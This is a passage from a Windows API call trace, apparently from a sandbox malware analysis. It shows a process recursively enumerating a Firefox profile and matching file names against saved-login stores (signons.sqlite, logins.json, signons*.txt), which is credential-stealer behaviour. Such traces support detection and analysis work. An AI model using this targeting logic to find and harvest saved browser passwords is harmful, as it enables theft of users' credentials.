returned 0x0 [0047.986] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.986] StrStrIA (lpFirst="extensions.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.986] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.986] lstrcmpiA (lpString1=".", lpString2="healthreport") returned -1 [0047.986] lstrcmpiA (lpString1="..", lpString2="healthreport") returned -1 [0047.986] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.986] lstrlenA (lpString="\\") returned 1 [0047.986] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fc88 [0047.986] lstrcpyA (in: lpString1=0x74fc88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.986] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.986] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0047.986] lstrlenA (lpString="healthreport") returned 12 [0047.986] LocalAlloc (uFlags=0x40, uBytes=0xdf) returned 0x74fd68 [0047.986] lstrcpyA (in: lpString1=0x74fd68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.986] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0047.987] LocalFree (hMem=0x74fc88) returned 0x0 [0047.987] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned 94 [0047.987] lstrlenA (lpString="\\*.*") returned 4 [0047.987] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x74d998 [0047.987] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport" [0047.987] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*" [0047.987] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\healthreport\\*.*", lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0x72dd90 [0047.987] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.987] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0047.987] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.987] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.987] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0 [0047.987] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0047.987] LocalFree (hMem=0x74d998) returned 0x0 [0047.987] LocalFree (hMem=0x74fd68) returned 0x0 [0047.987] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.987] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.987] lstrlenA (lpString="healthreport.sqlite") returned 19 [0047.987] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="logins.json") returned 0x0 [0047.987] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons.txt") returned 0x0 [0047.987] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.987] StrStrIA (lpFirst="healthreport.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.987] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0047.987] lstrcmpiA (lpString1=".", lpString2="indexedDB") returned -1 [0047.987] lstrcmpiA (lpString1="..", lpString2="indexedDB") returned -1 [0047.987] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0047.987] lstrlenA (lpString="\\") returned 1 [0047.987] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fc88 [0047.987] lstrcpyA (in: lpString1=0x74fc88, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0047.987] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.987] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0047.987] lstrlenA (lpString="indexedDB") returned 9 [0047.987] LocalAlloc (uFlags=0x40, uBytes=0xdc) returned 0x74fd68 [0047.987] lstrcpyA (in: lpString1=0x74fd68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0047.987] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0047.987] LocalFree (hMem=0x74fc88) returned 0x0 [0047.987] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0047.987] lstrlenA (lpString="\\*.*") returned 4 [0047.987] LocalAlloc (uFlags=0x40, uBytes=0xe0) returned 0x74fe50 [0047.987] lstrcpyA (in: lpString1=0x74fe50, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0047.987] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*" [0047.987] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\*.*", lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0x72dd90 [0047.987] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.987] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0047.987] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.988] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.988] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0047.988] lstrcmpiA (lpString1=".", lpString2="moz-safe-about+home") returned -1 [0047.988] lstrcmpiA (lpString1="..", lpString2="moz-safe-about+home") returned -1 [0047.988] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned 91 [0047.988] lstrlenA (lpString="\\") returned 1 [0047.988] LocalAlloc (uFlags=0x40, uBytes=0xdd) returned 0x74ff38 [0047.988] lstrcpyA (in: lpString1=0x74ff38, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB" [0047.988] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0047.988] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned 92 [0047.988] lstrlenA (lpString="moz-safe-about+home") returned 19 [0047.988] LocalAlloc (uFlags=0x40, uBytes=0xf0) returned 0x76e840 [0047.988] lstrcpyA (in: lpString1=0x76e840, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\" [0047.988] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\", lpString2="moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0047.988] LocalFree (hMem=0x74ff38) returned 0x0 [0047.988] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0047.988] lstrlenA (lpString="\\*.*") returned 4 [0047.988] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x74ff38 [0047.988] lstrcpyA (in: lpString1=0x74ff38, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0047.988] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*" [0047.988] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\*.*", lpFindFileData=0xef460 | out: lpFindFileData=0xef460) returned 0x72ddd0 [0047.988] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.988] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef460 | out: lpFindFileData=0xef460) returned 1 [0047.988] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.988] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.988] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef460 | out: lpFindFileData=0xef460) returned 1 [0047.988] StrStrIA (lpFirst=".metadata", lpSrch="signons.sqlite") returned 0x0 [0047.988] lstrlenA (lpString=".metadata") returned 9 [0047.988] StrStrIA (lpFirst=".metadata", lpSrch="logins.json") returned 0x0 [0047.988] StrStrIA (lpFirst=".metadata", lpSrch="signons.txt") returned 0x0 [0047.988] StrStrIA (lpFirst=".metadata", lpSrch="signons2.txt") returned 0x0 [0047.988] StrStrIA (lpFirst=".metadata", lpSrch="signons3.txt") returned 0x0 [0047.988] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef460 | out: lpFindFileData=0xef460) returned 1 [0047.988] lstrcmpiA (lpString1=".", lpString2="idb") returned -1 [0047.988] lstrcmpiA (lpString1="..", lpString2="idb") returned -1 [0047.988] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned 111 [0047.988] lstrlenA (lpString="\\") returned 1 [0047.988] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x762940 [0047.988] lstrcpyA (in: lpString1=0x762940, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home" [0047.988] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0047.988] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned 112 [0047.988] lstrlenA (lpString="idb") returned 3 [0047.988] LocalAlloc (uFlags=0x40, uBytes=0xf4) returned 0x762a40 [0047.988] lstrcpyA (in: lpString1=0x762a40, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\" [0047.988] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0047.988] LocalFree (hMem=0x762940) returned 0x0 [0047.988] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0047.988] lstrlenA (lpString="\\*.*") returned 4 [0047.988] LocalAlloc (uFlags=0x40, uBytes=0xf8) returned 0x762940 [0047.988] lstrcpyA (in: lpString1=0x762940, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0047.989] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0047.989] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0xef2f8 | out: lpFindFileData=0xef2f8) returned 0x72db50 [0047.989] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.989] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef2f8 | out: lpFindFileData=0xef2f8) returned 1 [0047.989] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.989] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.989] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef2f8 | out: lpFindFileData=0xef2f8) returned 1 [0047.989] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0047.989] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0047.989] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned 115 [0047.989] lstrlenA (lpString="\\") returned 1 [0047.989] LocalAlloc (uFlags=0x40, uBytes=0xf5) returned 0x763b48 [0047.989] lstrcpyA (in: lpString1=0x763b48, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb" [0047.989] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0047.989] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 116 [0047.989] lstrlenA (lpString="818200132aebmoouht") returned 18 [0047.989] LocalAlloc (uFlags=0x40, uBytes=0x107) returned 0x763c48 [0047.989] lstrcpyA (in: lpString1=0x763c48, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\" [0047.989] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0047.989] LocalFree (hMem=0x763b48) returned 0x0 [0047.989] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 134 [0047.989] lstrlenA (lpString="\\*.*") returned 4 [0047.989] LocalAlloc (uFlags=0x40, uBytes=0x10b) returned 0x763d58 [0047.989] lstrcpyA (in: lpString1=0x763d58, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0047.989] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0047.989] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0xef190 | out: lpFindFileData=0xef190) returned 0x72db90 [0047.989] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0047.989] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef190 | out: lpFindFileData=0xef190) returned 1 [0047.989] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0047.989] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0047.989] FindNextFileA (in: hFindFile=0x72db90, lpFindFileData=0xef190 | out: lpFindFileData=0xef190) returned 0 [0047.989] FindClose (in: hFindFile=0x72db90 | out: hFindFile=0x72db90) returned 1 [0047.989] LocalFree (hMem=0x763d58) returned 0x0 [0047.989] LocalFree (hMem=0x763c48) returned 0x0 [0047.989] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef2f8 | out: lpFindFileData=0xef2f8) returned 1 [0047.989] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0047.989] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0047.989] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="logins.json") returned 0x0 [0047.989] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0047.989] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0047.989] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0047.990] FindNextFileA (in: hFindFile=0x72db50, lpFindFileData=0xef2f8 | out: lpFindFileData=0xef2f8) returned 0 [0047.990] FindClose (in: hFindFile=0x72db50 | out: hFindFile=0x72db50) returned 1 [0047.990] LocalFree (hMem=0x762940) returned 0x0 [0047.990] LocalFree (hMem=0x762a40) returned 0x0 [0047.990] FindNextFileA (in: hFindFile=0x72ddd0, lpFindFileData=0xef460 | out: lpFindFileData=0xef460) returned 0 [0047.990] FindClose (in: hFindFile=0x72ddd0 | out: hFindFile=0x72ddd0) returned 1 [0047.990] LocalFree (hMem=0x74ff38) returned 0x0 [0047.990] LocalFree (hMem=0x76e840) returned 0x0 [0047.990] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0 [0047.990] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0047.990] LocalFree (hMem=0x74fe50) returned 0x0 [0047.990] 